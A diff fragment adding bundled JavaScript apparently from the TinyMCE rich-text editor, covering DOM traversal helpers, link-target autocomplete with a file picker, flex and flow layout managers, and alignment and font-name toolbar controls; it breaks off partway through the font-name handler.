+  var $_9xrxmy1azjjgwekac = { detect: detect$3 };
+
+  var ELEMENT = $_2jrgnk1apjjgwek8y.ELEMENT;
+  var DOCUMENT = $_2jrgnk1apjjgwek8y.DOCUMENT;
+  var is = function (element, selector) {
+    var elem = element.dom();
+    if (elem.nodeType !== ELEMENT)
+      return false;
+    else if (elem.matches !== undefined)
+      return elem.matches(selector);
+    else if (elem.msMatchesSelector !== undefined)
+      return elem.msMatchesSelector(selector);
+    else if (elem.webkitMatchesSelector !== undefined)
+      return elem.webkitMatchesSelector(selector);
+    else if (elem.mozMatchesSelector !== undefined)
+      return elem.mozMatchesSelector(selector);
+    else
+      throw new Error('Browser lacks native selectors');
+  };
+  var bypassSelector = function (dom) {
+    return dom.nodeType !== ELEMENT && dom.nodeType !== DOCUMENT || dom.childElementCount === 0;
+  };
+  var all = function (selector, scope) {
+    var base = scope === undefined ? document : scope.dom();
+    return bypassSelector(base) ? [] : map(base.querySelectorAll(selector), Element$$1.fromDom);
+  };
+  var one = function (selector, scope) {
+    var base = scope === undefined ? document : scope.dom();
+    return bypassSelector(base) ? Option.none() : Option.from(base.querySelector(selector)).map(Element$$1.fromDom);
+  };
+  var $_e63uk51bajjgwekbq = {
+    all: all,
+    is: is,
+    one: one
+  };
+
+  var eq = function (e1, e2) {
+    return e1.dom() === e2.dom();
+  };
+  var isEqualNode = function (e1, e2) {
+    return e1.dom().isEqualNode(e2.dom());
+  };
+  var member = function (element, elements) {
+    return exists(elements, curry(eq, element));
+  };
+  var regularContains = function (e1, e2) {
+    var d1 = e1.dom(), d2 = e2.dom();
+    return d1 === d2 ? false : d1.contains(d2);
+  };
+  var ieContains = function (e1, e2) {
+    return $_d0o64o1ayjjgwekaa.documentPositionContainedBy(e1.dom(), e2.dom());
+  };
+  var browser = $_9xrxmy1azjjgwekac.detect().browser;
+  var contains$2 = browser.isIE() ? ieContains : regularContains;
+  var $_36s5ie1axjjgweka1 = {
+    eq: eq,
+    isEqualNode: isEqualNode,
+    member: member,
+    contains: contains$2,
+    is: $_e63uk51bajjgwekbq.is
+  };
+
+  var owner = function (element) {
+    return Element$$1.fromDom(element.dom().ownerDocument);
+  };
+  var documentElement = function (element) {
+    return Element$$1.fromDom(element.dom().ownerDocument.documentElement);
+  };
+  var defaultView = function (element) {
+    var el = element.dom();
+    var defaultView = el.ownerDocument.defaultView;
+    return Element$$1.fromDom(defaultView);
+  };
+  var parent$1 = function (element) {
+    var dom = element.dom();
+    return Option.from(dom.parentNode).map(Element$$1.fromDom);
+  };
+  var findIndex$1 = function (element) {
+    return parent$1(element).bind(function (p) {
+      var kin = children(p);
+      return findIndex(kin, function (elem) {
+        return $_36s5ie1axjjgweka1.eq(element, elem);
+      });
+    });
+  };
+  var parents = function (element, isRoot) {
+    var stop = isFunction$1(isRoot) ? isRoot : constant(false);
+    var dom = element.dom();
+    var ret = [];
+    while (dom.parentNode !== null && dom.parentNode !== undefined) {
+      var rawParent = dom.parentNode;
+      var parent = Element$$1.fromDom(rawParent);
+      ret.push(parent);
+      if (stop(parent) === true)
+        break;
+      else
+        dom = rawParent;
+    }
+    return ret;
+  };
+  var siblings = function (element) {
+    var filterSelf = function (elements) {
+      return filter(elements, function (x) {
+        return !$_36s5ie1axjjgweka1.eq(element, x);
+      });
+    };
+    return parent$1(element).map(children).map(filterSelf).getOr([]);
+  };
+  var offsetParent = function (element) {
+    var dom = element.dom();
+    return Option.from(dom.offsetParent).map(Element$$1.fromDom);
+  };
+  var prevSibling = function (element) {
+    var dom = element.dom();
+    return Option.from(dom.previousSibling).map(Element$$1.fromDom);
+  };
+  var nextSibling = function (element) {
+    var dom = element.dom();
+    return Option.from(dom.nextSibling).map(Element$$1.fromDom);
+  };
+  var prevSiblings = function (element) {
+    return reverse($_607sf01awjjgweka0.toArray(element, prevSibling));
+  };
+  var nextSiblings = function (element) {
+    return $_607sf01awjjgweka0.toArray(element, nextSibling);
+  };
+  var children = function (element) {
+    var dom = element.dom();
+    return map(dom.childNodes, Element$$1.fromDom);
+  };
+  var child = function (element, index) {
+    var children = element.dom().childNodes;
+    return Option.from(children[index]).map(Element$$1.fromDom);
+  };
+  var firstChild = function (element) {
+    return child(element, 0);
+  };
+  var lastChild = function (element) {
+    return child(element, element.dom().childNodes.length - 1);
+  };
+  var childNodesCount = function (element) {
+    return element.dom().childNodes.length;
+  };
+  var hasChildNodes = function (element) {
+    return element.dom().hasChildNodes();
+  };
+  var spot = Immutable('element', 'offset');
+  var leaf = function (element, offset) {
+    var cs = children(element);
+    return cs.length > 0 && offset < cs.length ? spot(cs[offset], 0) : spot(element, offset);
+  };
+  var $_fk3hdw1aqjjgwek91 = {
+    owner: owner,
+    defaultView: defaultView,
+    documentElement: documentElement,
+    parent: parent$1,
+    findIndex: findIndex$1,
+    parents: parents,
+    siblings: siblings,
+    prevSibling: prevSibling,
+    offsetParent: offsetParent,
+    prevSiblings: prevSiblings,
+    nextSibling: nextSibling,
+    nextSiblings: nextSiblings,
+    children: children,
+    child: child,
+    firstChild: firstChild,
+    lastChild: lastChild,
+    childNodesCount: childNodesCount,
+    hasChildNodes: hasChildNodes,
+    leaf: leaf
+  };
+
+  var all$1 = function (predicate) {
+    return descendants($_d2glpe1amjjgwek8t.body(), predicate);
+  };
+  var ancestors = function (scope, predicate, isRoot) {
+    return filter($_fk3hdw1aqjjgwek91.parents(scope, isRoot), predicate);
+  };
+  var siblings$1 = function (scope, predicate) {
+    return filter($_fk3hdw1aqjjgwek91.siblings(scope), predicate);
+  };
+  var children$1 = function (scope, predicate) {
+    return filter($_fk3hdw1aqjjgwek91.children(scope), predicate);
+  };
+  var descendants = function (scope, predicate) {
+    var result = [];
+    each($_fk3hdw1aqjjgwek91.children(scope), function (x) {
+      if (predicate(x)) {
+        result = result.concat([x]);
+      }
+      result = result.concat(descendants(x, predicate));
+    });
+    return result;
+  };
+  var $_4re57m1aljjgwek8p = {
+    all: all$1,
+    ancestors: ancestors,
+    siblings: siblings$1,
+    children: children$1,
+    descendants: descendants
+  };
+
+  var all$2 = function (selector) {
+    return $_e63uk51bajjgwekbq.all(selector);
+  };
+  var ancestors$1 = function (scope, selector, isRoot) {
+    return $_4re57m1aljjgwek8p.ancestors(scope, function (e) {
+      return $_e63uk51bajjgwekbq.is(e, selector);
+    }, isRoot);
+  };
+  var siblings$2 = function (scope, selector) {
+    return $_4re57m1aljjgwek8p.siblings(scope, function (e) {
+      return $_e63uk51bajjgwekbq.is(e, selector);
+    });
+  };
+  var children$2 = function (scope, selector) {
+    return $_4re57m1aljjgwek8p.children(scope, function (e) {
+      return $_e63uk51bajjgwekbq.is(e, selector);
+    });
+  };
+  var descendants$1 = function (scope, selector) {
+    return $_e63uk51bajjgwekbq.all(selector, scope);
+  };
+  var $_1jc9su1akjjgwek8o = {
+    all: all$2,
+    ancestors: ancestors$1,
+    siblings: siblings$2,
+    children: children$2,
+    descendants: descendants$1
+  };
+
+  var trim$1 = global$4.trim;
+  var hasContentEditableState = function (value) {
+    return function (node) {
+      if (node && node.nodeType === 1) {
+        if (node.contentEditable === value) {
+          return true;
+        }
+        if (node.getAttribute('data-mce-contenteditable') === value) {
+          return true;
+        }
+      }
+      return false;
+    };
+  };
+  var isContentEditableTrue = hasContentEditableState('true');
+  var isContentEditableFalse = hasContentEditableState('false');
+  var create$4 = function (type, title, url, level, attach) {
+    return {
+      type: type,
+      title: title,
+      url: url,
+      level: level,
+      attach: attach
+    };
+  };
+  var isChildOfContentEditableTrue = function (node) {
+    while (node = node.parentNode) {
+      var value = node.contentEditable;
+      if (value && value !== 'inherit') {
+        return isContentEditableTrue(node);
+      }
+    }
+    return false;
+  };
+  var select = function (selector, root) {
+    return map($_1jc9su1akjjgwek8o.descendants(Element$$1.fromDom(root), selector), function (element) {
+      return element.dom();
+    });
+  };
+  var getElementText = function (elm) {
+    return elm.innerText || elm.textContent;
+  };
+  var getOrGenerateId = function (elm) {
+    return elm.id ? elm.id : generate('h');
+  };
+  var isAnchor = function (elm) {
+    return elm && elm.nodeName === 'A' && (elm.id || elm.name);
+  };
+  var isValidAnchor = function (elm) {
+    return isAnchor(elm) && isEditable(elm);
+  };
+  var isHeader = function (elm) {
+    return elm && /^(H[1-6])$/.test(elm.nodeName);
+  };
+  var isEditable = function (elm) {
+    return isChildOfContentEditableTrue(elm) && !isContentEditableFalse(elm);
+  };
+  var isValidHeader = function (elm) {
+    return isHeader(elm) && isEditable(elm);
+  };
+  var getLevel = function (elm) {
+    return isHeader(elm) ? parseInt(elm.nodeName.substr(1), 10) : 0;
+  };
+  var headerTarget = function (elm) {
+    var headerId = getOrGenerateId(elm);
+    var attach = function () {
+      elm.id = headerId;
+    };
+    return create$4('header', getElementText(elm), '#' + headerId, getLevel(elm), attach);
+  };
+  var anchorTarget = function (elm) {
+    var anchorId = elm.id || elm.name;
+    var anchorText = getElementText(elm);
+    return create$4('anchor', anchorText ? anchorText : '#' + anchorId, '#' + anchorId, 0, noop);
+  };
+  var getHeaderTargets = function (elms) {
+    return map(filter(elms, isValidHeader), headerTarget);
+  };
+  var getAnchorTargets = function (elms) {
+    return map(filter(elms, isValidAnchor), anchorTarget);
+  };
+  var getTargetElements = function (elm) {
+    var elms = select('h1,h2,h3,h4,h5,h6,a:not([href])', elm);
+    return elms;
+  };
+  var hasTitle = function (target) {
+    return trim$1(target.title).length > 0;
+  };
+  var find$3 = function (elm) {
+    var elms = getTargetElements(elm);
+    return filter(getHeaderTargets(elms).concat(getAnchorTargets(elms)), hasTitle);
+  };
+  var $_5ia43q1ahjjgwek7u = { find: find$3 };
+
+  var getActiveEditor = function () {
+    return window.tinymce ? window.tinymce.activeEditor : global$5.activeEditor;
+  };
+  var history = {};
+  var HISTORY_LENGTH = 5;
+  var clearHistory = function () {
+    history = {};
+  };
+  var toMenuItem = function (target) {
+    return {
+      title: target.title,
+      value: {
+        title: { raw: target.title },
+        url: target.url,
+        attach: target.attach
+      }
+    };
+  };
+  var toMenuItems = function (targets) {
+    return global$4.map(targets, toMenuItem);
+  };
+  var staticMenuItem = function (title, url) {
+    return {
+      title: title,
+      value: {
+        title: title,
+        url: url,
+        attach: noop
+      }
+    };
+  };
+  var isUniqueUrl = function (url, targets) {
+    var foundTarget = exists(targets, function (target) {
+      return target.url === url;
+    });
+    return !foundTarget;
+  };
+  var getSetting = function (editorSettings, name, defaultValue) {
+    var value = name in editorSettings ? editorSettings[name] : defaultValue;
+    return value === false ? null : value;
+  };
+  var createMenuItems = function (term, targets, fileType, editorSettings) {
+    var separator = { title: '-' };
+    var fromHistoryMenuItems = function (history) {
+      var historyItems = history.hasOwnProperty(fileType) ? history[fileType] : [];
+      var uniqueHistory = filter(historyItems, function (url) {
+        return isUniqueUrl(url, targets);
+      });
+      return global$4.map(uniqueHistory, function (url) {
+        return {
+          title: url,
+          value: {
+            title: url,
+            url: url,
+            attach: noop
+          }
+        };
+      });
+    };
+    var fromMenuItems = function (type) {
+      var filteredTargets = filter(targets, function (target) {
+        return target.type === type;
+      });
+      return toMenuItems(filteredTargets);
+    };
+    var anchorMenuItems = function () {
+      var anchorMenuItems = fromMenuItems('anchor');
+      var topAnchor = getSetting(editorSettings, 'anchor_top', '#top');
+      var bottomAchor = getSetting(editorSettings, 'anchor_bottom', '#bottom');
+      if (topAnchor !== null) {
+        anchorMenuItems.unshift(staticMenuItem('<top>', topAnchor));
+      }
+      if (bottomAchor !== null) {
+        anchorMenuItems.push(staticMenuItem('<bottom>', bottomAchor));
+      }
+      return anchorMenuItems;
+    };
+    var join = function (items) {
+      return foldl(items, function (a, b) {
+        var bothEmpty = a.length === 0 || b.length === 0;
+        return bothEmpty ? a.concat(b) : a.concat(separator, b);
+      }, []);
+    };
+    if (editorSettings.typeahead_urls === false) {
+      return [];
+    }
+    return fileType === 'file' ? join([
+      filterByQuery(term, fromHistoryMenuItems(history)),
+      filterByQuery(term, fromMenuItems('header')),
+      filterByQuery(term, anchorMenuItems())
+    ]) : filterByQuery(term, fromHistoryMenuItems(history));
+  };
+  var addToHistory = function (url, fileType) {
+    var items = history[fileType];
+    if (!/^https?/.test(url)) {
+      return;
+    }
+    if (items) {
+      if (indexOf(items, url).isNone()) {
+        history[fileType] = items.slice(0, HISTORY_LENGTH).concat(url);
+      }
+    } else {
+      history[fileType] = [url];
+    }
+  };
+  var filterByQuery = function (term, menuItems) {
+    var lowerCaseTerm = term.toLowerCase();
+    var result = global$4.grep(menuItems, function (item) {
+      return item.title.toLowerCase().indexOf(lowerCaseTerm) !== -1;
+    });
+    return result.length === 1 && result[0].title === term ? [] : result;
+  };
+  var getTitle = function (linkDetails) {
+    var title = linkDetails.title;
+    return title.raw ? title.raw : title;
+  };
+  var setupAutoCompleteHandler = function (ctrl, editorSettings, bodyElm, fileType) {
+    var autocomplete = function (term) {
+      var linkTargets = $_5ia43q1ahjjgwek7u.find(bodyElm);
+      var menuItems = createMenuItems(term, linkTargets, fileType, editorSettings);
+      ctrl.showAutoComplete(menuItems, term);
+    };
+    ctrl.on('autocomplete', function () {
+      autocomplete(ctrl.value());
+    });
+    ctrl.on('selectitem', function (e) {
+      var linkDetails = e.value;
+      ctrl.value(linkDetails.url);
+      var title = getTitle(linkDetails);
+      if (fileType === 'image') {
+        ctrl.fire('change', {
+          meta: {
+            alt: title,
+            attach: linkDetails.attach
+          }
+        });
+      } else {
+        ctrl.fire('change', {
+          meta: {
+            text: title,
+            attach: linkDetails.attach
+          }
+        });
+      }
+      ctrl.focus();
+    });
+    ctrl.on('click', function (e) {
+      if (ctrl.value().length === 0 && e.target.nodeName === 'INPUT') {
+        autocomplete('');
+      }
+    });
+    ctrl.on('PostRender', function () {
+      ctrl.getRoot().on('submit', function (e) {
+        if (!e.isDefaultPrevented()) {
+          addToHistory(ctrl.value(), fileType);
+        }
+      });
+    });
+  };
+  var statusToUiState = function (result) {
+    var status = result.status, message = result.message;
+    if (status === 'valid') {
+      return {
+        status: 'ok',
+        message: message
+      };
+    } else if (status === 'unknown') {
+      return {
+        status: 'warn',
+        message: message
+      };
+    } else if (status === 'invalid') {
+      return {
+        status: 'warn',
+        message: message
+      };
+    } else {
+      return {
+        status: 'none',
+        message: ''
+      };
+    }
+  };
+  var setupLinkValidatorHandler = function (ctrl, editorSettings, fileType) {
+    var validatorHandler = editorSettings.filepicker_validator_handler;
+    if (validatorHandler) {
+      var validateUrl_1 = function (url) {
+        if (url.length === 0) {
+          ctrl.statusLevel('none');
+          return;
+        }
+        validatorHandler({
+          url: url,
+          type: fileType
+        }, function (result) {
+          var uiState = statusToUiState(result);
+          ctrl.statusMessage(uiState.message);
+          ctrl.statusLevel(uiState.status);
+        });
+      };
+      ctrl.state.on('change:value', function (e) {
+        validateUrl_1(e.value);
+      });
+    }
+  };
+  var FilePicker = ComboBox.extend({
+    Statics: { clearHistory: clearHistory },
+    init: function (settings) {
+      var self = this, editor = getActiveEditor(), editorSettings = editor.settings;
+      var actionCallback, fileBrowserCallback, fileBrowserCallbackTypes;
+      var fileType = settings.filetype;
+      settings.spellcheck = false;
+      fileBrowserCallbackTypes = editorSettings.file_picker_types || editorSettings.file_browser_callback_types;
+      if (fileBrowserCallbackTypes) {
+        fileBrowserCallbackTypes = global$4.makeMap(fileBrowserCallbackTypes, /[, ]/);
+      }
+      if (!fileBrowserCallbackTypes || fileBrowserCallbackTypes[fileType]) {
+        fileBrowserCallback = editorSettings.file_picker_callback;
+        if (fileBrowserCallback && (!fileBrowserCallbackTypes || fileBrowserCallbackTypes[fileType])) {
+          actionCallback = function () {
+            var meta = self.fire('beforecall').meta;
+            meta = global$4.extend({ filetype: fileType }, meta);
+            fileBrowserCallback.call(editor, function (value, meta) {
+              self.value(value).fire('change', { meta: meta });
+            }, self.value(), meta);
+          };
+        } else {
+          fileBrowserCallback = editorSettings.file_browser_callback;
+          if (fileBrowserCallback && (!fileBrowserCallbackTypes || fileBrowserCallbackTypes[fileType])) {
+            actionCallback = function () {
+              fileBrowserCallback(self.getEl('inp').id, self.value(), fileType, window);
+            };
+          }
+        }
+      }
+      if (actionCallback) {
+        settings.icon = 'browse';
+        settings.onaction = actionCallback;
+      }
+      self._super(settings);
+      self.classes.add('filepicker');
+      setupAutoCompleteHandler(self, editorSettings, editor.getBody(), fileType);
+      setupLinkValidatorHandler(self, editorSettings, fileType);
+    }
+  });
+
+  var FitLayout = AbsoluteLayout.extend({
+    recalc: function (container) {
+      var contLayoutRect = container.layoutRect(), paddingBox = container.paddingBox;
+      container.items().filter(':visible').each(function (ctrl) {
+        ctrl.layoutRect({
+          x: paddingBox.left,
+          y: paddingBox.top,
+          w: contLayoutRect.innerW - paddingBox.right - paddingBox.left,
+          h: contLayoutRect.innerH - paddingBox.top - paddingBox.bottom
+        });
+        if (ctrl.recalc) {
+          ctrl.recalc();
+        }
+      });
+    }
+  });
+
+  var FlexLayout = AbsoluteLayout.extend({
+    recalc: function (container) {
+      var i, l, items, contLayoutRect, contPaddingBox, contSettings, align, pack, spacing, totalFlex, availableSpace, direction;
+      var ctrl, ctrlLayoutRect, ctrlSettings, flex;
+      var maxSizeItems = [];
+      var size, maxSize, ratio, rect, pos, maxAlignEndPos;
+      var sizeName, minSizeName, posName, maxSizeName, beforeName, innerSizeName, deltaSizeName, contentSizeName;
+      var alignAxisName, alignInnerSizeName, alignSizeName, alignMinSizeName, alignBeforeName, alignAfterName;
+      var alignDeltaSizeName, alignContentSizeName;
+      var max = Math.max, min = Math.min;
+      items = container.items().filter(':visible');
+      contLayoutRect = container.layoutRect();
+      contPaddingBox = container.paddingBox;
+      contSettings = container.settings;
+      direction = container.isRtl() ? contSettings.direction || 'row-reversed' : contSettings.direction;
+      align = contSettings.align;
+      pack = container.isRtl() ? contSettings.pack || 'end' : contSettings.pack;
+      spacing = contSettings.spacing || 0;
+      if (direction === 'row-reversed' || direction === 'column-reverse') {
+        items = items.set(items.toArray().reverse());
+        direction = direction.split('-')[0];
+      }
+      if (direction === 'column') {
+        posName = 'y';
+        sizeName = 'h';
+        minSizeName = 'minH';
+        maxSizeName = 'maxH';
+        innerSizeName = 'innerH';
+        beforeName = 'top';
+        deltaSizeName = 'deltaH';
+        contentSizeName = 'contentH';
+        alignBeforeName = 'left';
+        alignSizeName = 'w';
+        alignAxisName = 'x';
+        alignInnerSizeName = 'innerW';
+        alignMinSizeName = 'minW';
+        alignAfterName = 'right';
+        alignDeltaSizeName = 'deltaW';
+        alignContentSizeName = 'contentW';
+      } else {
+        posName = 'x';
+        sizeName = 'w';
+        minSizeName = 'minW';
+        maxSizeName = 'maxW';
+        innerSizeName = 'innerW';
+        beforeName = 'left';
+        deltaSizeName = 'deltaW';
+        contentSizeName = 'contentW';
+        alignBeforeName = 'top';
+        alignSizeName = 'h';
+        alignAxisName = 'y';
+        alignInnerSizeName = 'innerH';
+        alignMinSizeName = 'minH';
+        alignAfterName = 'bottom';
+        alignDeltaSizeName = 'deltaH';
+        alignContentSizeName = 'contentH';
+      }
+      availableSpace = contLayoutRect[innerSizeName] - contPaddingBox[beforeName] - contPaddingBox[beforeName];
+      maxAlignEndPos = totalFlex = 0;
+      for (i = 0, l = items.length; i < l; i++) {
+        ctrl = items[i];
+        ctrlLayoutRect = ctrl.layoutRect();
+        ctrlSettings = ctrl.settings;
+        flex = ctrlSettings.flex;
+        availableSpace -= i < l - 1 ? spacing : 0;
+        if (flex > 0) {
+          totalFlex += flex;
+          if (ctrlLayoutRect[maxSizeName]) {
+            maxSizeItems.push(ctrl);
+          }
+          ctrlLayoutRect.flex = flex;
+        }
+        availableSpace -= ctrlLayoutRect[minSizeName];
+        size = contPaddingBox[alignBeforeName] + ctrlLayoutRect[alignMinSizeName] + contPaddingBox[alignAfterName];
+        if (size > maxAlignEndPos) {
+          maxAlignEndPos = size;
+        }
+      }
+      rect = {};
+      if (availableSpace < 0) {
+        rect[minSizeName] = contLayoutRect[minSizeName] - availableSpace + contLayoutRect[deltaSizeName];
+      } else {
+        rect[minSizeName] = contLayoutRect[innerSizeName] - availableSpace + contLayoutRect[deltaSizeName];
+      }
+      rect[alignMinSizeName] = maxAlignEndPos + contLayoutRect[alignDeltaSizeName];
+      rect[contentSizeName] = contLayoutRect[innerSizeName] - availableSpace;
+      rect[alignContentSizeName] = maxAlignEndPos;
+      rect.minW = min(rect.minW, contLayoutRect.maxW);
+      rect.minH = min(rect.minH, contLayoutRect.maxH);
+      rect.minW = max(rect.minW, contLayoutRect.startMinWidth);
+      rect.minH = max(rect.minH, contLayoutRect.startMinHeight);
+      if (contLayoutRect.autoResize && (rect.minW !== contLayoutRect.minW || rect.minH !== contLayoutRect.minH)) {
+        rect.w = rect.minW;
+        rect.h = rect.minH;
+        container.layoutRect(rect);
+        this.recalc(container);
+        if (container._lastRect === null) {
+          var parentCtrl = container.parent();
+          if (parentCtrl) {
+            parentCtrl._lastRect = null;
+            parentCtrl.recalc();
+          }
+        }
+        return;
+      }
+      ratio = availableSpace / totalFlex;
+      for (i = 0, l = maxSizeItems.length; i < l; i++) {
+        ctrl = maxSizeItems[i];
+        ctrlLayoutRect = ctrl.layoutRect();
+        maxSize = ctrlLayoutRect[maxSizeName];
+        size = ctrlLayoutRect[minSizeName] + ctrlLayoutRect.flex * ratio;
+        if (size > maxSize) {
+          availableSpace -= ctrlLayoutRect[maxSizeName] - ctrlLayoutRect[minSizeName];
+          totalFlex -= ctrlLayoutRect.flex;
+          ctrlLayoutRect.flex = 0;
+          ctrlLayoutRect.maxFlexSize = maxSize;
+        } else {
+          ctrlLayoutRect.maxFlexSize = 0;
+        }
+      }
+      ratio = availableSpace / totalFlex;
+      pos = contPaddingBox[beforeName];
+      rect = {};
+      if (totalFlex === 0) {
+        if (pack === 'end') {
+          pos = availableSpace + contPaddingBox[beforeName];
+        } else if (pack === 'center') {
+          pos = Math.round(contLayoutRect[innerSizeName] / 2 - (contLayoutRect[innerSizeName] - availableSpace) / 2) + contPaddingBox[beforeName];
+          if (pos < 0) {
+            pos = contPaddingBox[beforeName];
+          }
+        } else if (pack === 'justify') {
+          pos = contPaddingBox[beforeName];
+          spacing = Math.floor(availableSpace / (items.length - 1));
+        }
+      }
+      rect[alignAxisName] = contPaddingBox[alignBeforeName];
+      for (i = 0, l = items.length; i < l; i++) {
+        ctrl = items[i];
+        ctrlLayoutRect = ctrl.layoutRect();
+        size = ctrlLayoutRect.maxFlexSize || ctrlLayoutRect[minSizeName];
+        if (align === 'center') {
+          rect[alignAxisName] = Math.round(contLayoutRect[alignInnerSizeName] / 2 - ctrlLayoutRect[alignSizeName] / 2);
+        } else if (align === 'stretch') {
+          rect[alignSizeName] = max(ctrlLayoutRect[alignMinSizeName] || 0, contLayoutRect[alignInnerSizeName] - contPaddingBox[alignBeforeName] - contPaddingBox[alignAfterName]);
+          rect[alignAxisName] = contPaddingBox[alignBeforeName];
+        } else if (align === 'end') {
+          rect[alignAxisName] = contLayoutRect[alignInnerSizeName] - ctrlLayoutRect[alignSizeName] - contPaddingBox.top;
+        }
+        if (ctrlLayoutRect.flex > 0) {
+          size += ctrlLayoutRect.flex * ratio;
+        }
+        rect[sizeName] = size;
+        rect[posName] = pos;
+        ctrl.layoutRect(rect);
+        if (ctrl.recalc) {
+          ctrl.recalc();
+        }
+        pos += size + spacing;
+      }
+    }
+  });
+
+  var FlowLayout = Layout$1.extend({
+    Defaults: {
+      containerClass: 'flow-layout',
+      controlClass: 'flow-layout-item',
+      endClass: 'break'
+    },
+    recalc: function (container) {
+      container.items().filter(':visible').each(function (ctrl) {
+        if (ctrl.recalc) {
+          ctrl.recalc();
+        }
+      });
+    },
+    isNative: function () {
+      return true;
+    }
+  });
+
+  function ClosestOrAncestor (is, ancestor, scope, a, isRoot) {
+    return is(scope, a) ? Option.some(scope) : isFunction$1(isRoot) && isRoot(scope) ? Option.none() : ancestor(scope, a, isRoot);
+  }
+
+  var first$1 = function (predicate) {
+    return descendant($_d2glpe1amjjgwek8t.body(), predicate);
+  };
+  var ancestor = function (scope, predicate, isRoot) {
+    var element = scope.dom();
+    var stop = isFunction$1(isRoot) ? isRoot : constant(false);
+    while (element.parentNode) {
+      element = element.parentNode;
+      var el = Element$$1.fromDom(element);
+      if (predicate(el))
+        return Option.some(el);
+      else if (stop(el))
+        break;
+    }
+    return Option.none();
+  };
+  var closest = function (scope, predicate, isRoot) {
+    var is = function (scope) {
+      return predicate(scope);
+    };
+    return ClosestOrAncestor(is, ancestor, scope, predicate, isRoot);
+  };
+  var sibling = function (scope, predicate) {
+    var element = scope.dom();
+    if (!element.parentNode)
+      return Option.none();
+    return child$1(Element$$1.fromDom(element.parentNode), function (x) {
+      return !$_36s5ie1axjjgweka1.eq(scope, x) && predicate(x);
+    });
+  };
+  var child$1 = function (scope, predicate) {
+    var result = find(scope.dom().childNodes, compose(predicate, Element$$1.fromDom));
+    return result.map(Element$$1.fromDom);
+  };
+  var descendant = function (scope, predicate) {
+    var descend = function (node) {
+      for (var i = 0; i < node.childNodes.length; i++) {
+        if (predicate(Element$$1.fromDom(node.childNodes[i])))
+          return Option.some(Element$$1.fromDom(node.childNodes[i]));
+        var res = descend(node.childNodes[i]);
+        if (res.isSome())
+          return res;
+      }
+      return Option.none();
+    };
+    return descend(scope.dom());
+  };
+  var $_df9cwz1bgjjgwekcd = {
+    first: first$1,
+    ancestor: ancestor,
+    closest: closest,
+    sibling: sibling,
+    child: child$1,
+    descendant: descendant
+  };
+
+  var first$2 = function (selector) {
+    return $_e63uk51bajjgwekbq.one(selector);
+  };
+  var ancestor$1 = function (scope, selector, isRoot) {
+    return $_df9cwz1bgjjgwekcd.ancestor(scope, function (e) {
+      return $_e63uk51bajjgwekbq.is(e, selector);
+    }, isRoot);
+  };
+  var sibling$1 = function (scope, selector) {
+    return $_df9cwz1bgjjgwekcd.sibling(scope, function (e) {
+      return $_e63uk51bajjgwekbq.is(e, selector);
+    });
+  };
+  var child$2 = function (scope, selector) {
+    return $_df9cwz1bgjjgwekcd.child(scope, function (e) {
+      return $_e63uk51bajjgwekbq.is(e, selector);
+    });
+  };
+  var descendant$1 = function (scope, selector) {
+    return $_e63uk51bajjgwekbq.one(selector, scope);
+  };
+  var closest$1 = function (scope, selector, isRoot) {
+    return ClosestOrAncestor($_e63uk51bajjgwekbq.is, ancestor$1, scope, selector, isRoot);
+  };
+  var $_6nlstg1bfjjgwekcb = {
+    first: first$2,
+    ancestor: ancestor$1,
+    sibling: sibling$1,
+    child: child$2,
+    descendant: descendant$1,
+    closest: closest$1
+  };
+
+  var toggleFormat = function (editor, fmt) {
+    return function () {
+      editor.execCommand('mceToggleFormat', false, fmt);
+    };
+  };
+  var addFormatChangedListener = function (editor, name, changed) {
+    var handler = function (state) {
+      changed(state, name);
+    };
+    if (editor.formatter) {
+      editor.formatter.formatChanged(name, handler);
+    } else {
+      editor.on('init', function () {
+        editor.formatter.formatChanged(name, handler);
+      });
+    }
+  };
+  var postRenderFormatToggle = function (editor, name) {
+    return function (e) {
+      addFormatChangedListener(editor, name, function (state) {
+        e.control.active(state);
+      });
+    };
+  };
+
+  var register = function (editor) {
+    var alignFormats = [
+      'alignleft',
+      'aligncenter',
+      'alignright',
+      'alignjustify'
+    ];
+    var defaultAlign = 'alignleft';
+    var alignMenuItems = [
+      {
+        text: 'Left',
+        icon: 'alignleft',
+        onclick: toggleFormat(editor, 'alignleft')
+      },
+      {
+        text: 'Center',
+        icon: 'aligncenter',
+        onclick: toggleFormat(editor, 'aligncenter')
+      },
+      {
+        text: 'Right',
+        icon: 'alignright',
+        onclick: toggleFormat(editor, 'alignright')
+      },
+      {
+        text: 'Justify',
+        icon: 'alignjustify',
+        onclick: toggleFormat(editor, 'alignjustify')
+      }
+    ];
+    editor.addMenuItem('align', {
+      text: 'Align',
+      menu: alignMenuItems
+    });
+    editor.addButton('align', {
+      type: 'menubutton',
+      icon: defaultAlign,
+      menu: alignMenuItems,
+      onShowMenu: function (e) {
+        var menu = e.control.menu;
+        global$4.each(alignFormats, function (formatName, idx) {
+          menu.items().eq(idx).each(function (item) {
+            return item.active(editor.formatter.match(formatName));
+          });
+        });
+      },
+      onPostRender: function (e) {
+        var ctrl = e.control;
+        global$4.each(alignFormats, function (formatName, idx) {
+          addFormatChangedListener(editor, formatName, function (state) {
+            ctrl.icon(defaultAlign);
+            if (state) {
+              ctrl.icon(formatName);
+            }
+          });
+        });
+      }
+    });
+    global$4.each({
+      alignleft: [
+        'Align left',
+        'JustifyLeft'
+      ],
+      aligncenter: [
+        'Align center',
+        'JustifyCenter'
+      ],
+      alignright: [
+        'Align right',
+        'JustifyRight'
+      ],
+      alignjustify: [
+        'Justify',
+        'JustifyFull'
+      ],
+      alignnone: [
+        'No alignment',
+        'JustifyNone'
+      ]
+    }, function (item, name) {
+      editor.addButton(name, {
+        active: false,
+        tooltip: item[0],
+        cmd: item[1],
+        onPostRender: postRenderFormatToggle(editor, name)
+      });
+    });
+  };
+  var $_7uh4c31bijjgwekcw = { register: register };
+
+  var getFirstFont = function (fontFamily) {
+    return fontFamily ? fontFamily.split(',')[0] : '';
+  };
+  var findMatchingValue = function (items, fontFamily) {
+    var font = fontFamily ? fontFamily.toLowerCase() : '';
+    var value;
+    global$4.each(items, function (item) {
+      if (item.value.toLowerCase() === font) {
+        value = item.value;
+      }
+    });
+    global$4.each(items, function (item) {
+      if (!value && getFirstFont(item.value).toLowerCase() === getFirstFont(font).toLowerCase()) {
+        value = item.value;
+      }
+    });
+    return value;
+  };
+  var createFontNameListBoxChangeHandler = function (editor, items) {
+    return function () {
+      var self = this;
+      self.state.set('value', null);
+      editor.on('init nodeChange', function (e) {
+        var fontFamily = editor.queryCommandValue('FontName');
+        var match = findMatchingValue(items, fontFamily);
+        self.value(match ? match : null);
